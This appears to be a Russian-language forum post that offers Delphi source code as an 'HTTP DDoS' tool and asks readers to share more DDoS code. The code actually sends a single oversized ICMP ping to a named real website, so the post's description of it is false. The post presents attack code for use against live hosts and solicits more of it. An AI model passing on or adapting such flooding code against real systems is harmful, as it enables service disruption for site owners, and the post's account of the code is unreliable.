Вобщем струдом нашел в инете код для HTTP ддоса. Может кому нитьи понадобиться.
Code
uses
Windows,
winsock;
type
ip_option_information = packed record
Ttl,
Tos ,
Flags ,
OptionsSize : byte;
OptionsData : Pointer;
end;
icmp_echo_reply = packed record
Address : u_long;
Status : u_long;
RTTime : u_long;
DataSize : u_short;
Reserved : u_short;
Data : Pointer;
Options : ip_option_information;
end;
PIPINFO = ^ip_option_information;
PVOID = Pointer;
function m_ping_host(address: string): string;
function InStr(I: longint): string;
function InInt(S: string): longint;
implementation
function InStr(I: longint): string;
var
S: string;
begin
Str(I, S);
InStr := S;
end;
function InInt(S: string): longint;
var
I, Code: longint;
begin
Val(S, I, Code);
InInt := I;
end;
function IcmpCreateFile() : THandle; stdcall; external 'ICMP.DLL' name 'IcmpCreateFile';
function IcmpCloseHandle(IcmpHandle : THandle) : BOOL; stdcall; external 'ICMP.DLL' name 'IcmpCloseHandle';
function IcmpSendEcho(IcmpHandle : THandle;
DestAddress : u_long;
RequestData : PVOID;
RequestSize : Word;
RequestOptns : PIPINFO;
ReplyBuffer : PVOID;
ReplySize : DWORD;
Timeout : DWORD ) : DWORD; stdcall; external 'ICMP.DLL' name 'IcmpSendEcho';
function m_ping_host(address: string): string;
var
hIP : THandle;
pingBuffer : array [0..32767] of Char;
pIpe : ^icmp_echo_reply;
pHostEn : PHostEnt;
wVersionRequested, error : WORD;
lwsaData : WSAData;
destAddress : In_Addr;
begin
hIP := IcmpCreateFile();
GetMem(pIpe, sizeof(icmp_echo_reply) + sizeof(pingBuffer));
pIpe.Data := @pingBuffer;
pIpe.DataSize := sizeof(pingBuffer);
wVersionRequested := MakeWord(1,1);
error := WSAStartup(wVersionRequested,lwsaData);
if (error <> 0) then
begin
result := '';
Exit;
end;
pHostEn := gethostbyname(pchar(address));
error := GetLastError();
if (error <> 0) then
begin
result := '';
Exit;
end;
destAddress := PInAddr(pHostEn^.h_addr_list^)^;
result := pHostEn^.h_name + ' [' + inet_ntoa(destAddress) + ']' + ' size: ' + InStr(sizeof(pingBuffer)) + ' bytes, ' ;
IcmpSendEcho(hIP, destAddress.S_addr, @pingBuffer, sizeof(pingBuffer), Nil, pIpe, sizeof(icmp_echo_reply) + sizeof(pingBuffer), 5000);
error := GetLastError();
if (error <> 0) then
begin
result := 'host not reply. error code: ' + InStr(error);
Exit;
end;
result := result + InStr(pIpe.RTTime) + 'ms';
IcmpCloseHandle(hIP);
WSACleanup();
FreeMem(pIpe);
end;
Использование:
Code
m_ping_host('delfcode.ru');
З.Ы. Свои (или нагугленные) сорсы для ддоса (не только по HTTP) тож кидайте сюда.